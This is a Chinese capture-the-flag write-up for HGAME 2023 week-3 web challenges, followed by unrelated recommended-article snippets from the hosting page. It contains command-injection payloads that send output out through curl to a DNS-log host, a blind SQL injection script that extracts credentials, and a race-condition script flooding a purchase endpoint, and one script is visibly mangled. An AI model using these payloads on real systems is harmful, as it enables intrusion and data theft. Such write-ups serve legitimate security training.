HGAME_2023_WEB_WP_WEEK3
Ping to the host
很明显的rce,简单测试一下发现空格,cat,;被办,且执行无回显,空格用${IFS},%09,$IFS$9等等来绕过,我们利用dnslog将执行结果外带出来,这里使用的是http://ceye.io/
由于每次dnslog只能带出一条信息,我们利用sed -n来爆破其它信息
ip=|curl${IFS}http://?????.ceye.io/`ls${IFS}/|sed${IFS}-n${IFS}'1p'`

得到flag文件名为: flag_is_here_haha
flag也被办了,用通配符读取就行了
ip=|curl${IFS}http://?????.ceye.io/`ca''t%09/fla*`

Login To Get My Gift
import requests
flag = ''
def attack_post(url):
global flag
r = requests.session()
for i in range(1, 100000):
low = 32
high = 127
mid = (low + high) // 2
while low < high:
payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))<{mid})#"
payload1 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),{i}),1)))<{mid})#"
payload2 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'),{i}),1)))<{mid})#"
payload3 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,PAssw0rD))/**/from/**/User1nf0mAt1on),{i}),1)))<{mid})#"
# print(payload)
data = {
'username': 'testuser',
'password': payload3
}
rp = r.post(url, data=data)
# print(rp.text)
if 'Success!' in rp.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
flag += chr(mid - 1)
print(flag)
if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30369/login'
attack_post(url)
Gopher Shop
import requests
import threading
headers = {
'Cookie': 'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fM5a-9HM-2vbFCrfAbfLVU049emtbxCloYDTab3QDEx-'
}
def get(url):
r = requests.get(url=url, headers=headers) if __name__ == '__main__':
url = 'http://week-3.hgame.lwsec.cn:30552/api/v1/user/buyProduct?product=Flag&number=1'
for i in range(100000):
threading.Thread(target=get, args=(url,)).start()
然后界面就直接买到FLAG了,checkFLAG即可拿到flag值:
HGAME_2023_WEB_WP_WEEK3的更多相关文章
随机推荐
- vue脚手架安装及依赖
一.安装Vue Cil (脚手架) 需要先安装node.js,这是node官网地址: https://nodejs.org/en/download/ ,node有两种版本一种是稳定版一种开发版 安装完 ...
- day 26 form表单标签 & CSS样式表-选择器 & 样式:背景、字体、定位等
html常用标签 嵌套页面 <!-- 嵌套页面 --> <div> <!-- target属性值可以通过指定的iframe的name属性值, 实现超链接页面,在嵌套页面展 ...
- 私藏!资深数据专家SQL效率优化技巧 ⛵
作者:韩信子@ShowMeAI 数据分析实战系列:https://www.showmeai.tech/tutorials/40 本文地址:https://www.showmeai.tech/artic ...
- 【基础语法规范】BC1:Hello Nowcoder
语言1:Java public class Main{ public static void main(String[] args){ System.out.println("Hello N ...
- python 异步写入文件
# -*- coding:utf-8 -*-import asyncioimport aiofilesimport time#异步操作时,函数名前必须加上asyncasync def func1(): ...
- Spring 6 源码编译和高效阅读源码技巧分享
一. 前言 Spring Boot 3 RELEASE版本于 2022年11月24日 正式发布,相信已经有不少同学开始准备新版本的学习了,不过目前还不建议在实际项目中做升级,毕竟还有很多框架和中间件没 ...
- Django框架版本区别
目录 一:django版本区别 1.django1.X路由层使用的是url方法 2.虽然path不支持正则 但是它的内部支持五种转换器 3.五种转换器 4.除了有默认的五个转换器之外 还支持自定义转换 ...
- 聊聊CPU的发展历程之单核、多核、超线程
作者:小牛呼噜噜 | https://xiaoniuhululu.com 计算机内功.JAVA底层.面试.职业成长相关资料等更多精彩文章在公众号「小牛呼噜噜」 大家好,我是呼噜噜,在计算机的早期,In ...
- apt install protobuf
protobuf介绍:https://www.cnblogs.com/niuben/p/14212711.html protobuf利用源码编译安装已经看到过很多方法,这里总结下用apt安装的方法. ...
- WireShark抓包入门教学
wireshark抓包新手使用教程 Wireshark是非常流行的网络封包分析软件,可以截取各种网络数据包,并显示数据包详细信息.常用于开发测试过程各种问题定位.本文主要内容包括: 1.Wiresha ...